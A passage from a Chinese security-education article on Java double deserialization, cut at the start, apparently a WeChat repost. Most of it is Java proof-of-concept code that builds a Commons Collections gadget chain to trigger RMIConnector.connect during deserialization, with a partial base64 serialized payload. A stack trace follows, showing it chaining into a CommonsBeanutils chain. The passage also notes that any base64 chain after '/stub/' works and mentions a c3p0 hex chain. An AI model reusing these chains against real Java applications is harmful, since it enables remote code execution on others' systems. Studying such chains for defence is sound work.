AAgAxcHQAEVRlc3RUZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg="); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "test"); lazyMap.remove(rmiConnector); setFieldValue(lazyMap,"factory", invokerTransformer); Unser(expMap); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); }}
小结
栈堆
compare:171, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)findRMIServerJRMP:2009, RMIConnector (javax.management.remote.rmi)findRMIServer:1926, RMIConnector (javax.management.remote.rmi)connect:287, RMIConnector (javax.management.remote.rmi)connect:249, RMIConnector (javax.management.remote.rmi)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)transform:126, InvokerTransformer (org.apache.commons.collections.functors)get:158, LazyMap (org.apache.commons.collections.map)getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)hash:338, HashMap (java.util)readObject:1397, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:41, RMIConnector_test (Double_deserialization)
从 findRMIServerJRMP:2009, RMIConnector (javax.management.remote.rmi) 后面就是走 cb 链了,总的来说就是 /stub/ 后面随便跟个base64编码序列化后的链子就行
WrapperConnectionPoolDataSource
就是c3p0的hex链
可以参考:https://bbs.zkaq.cn/t/32194.html
参考
https://xz.aliyun.com/news/13340
https://www.cnblogs.com/gaorenyusi/p/18396846
https://tttang.com/archive/1701/
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | 二次反序列化学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论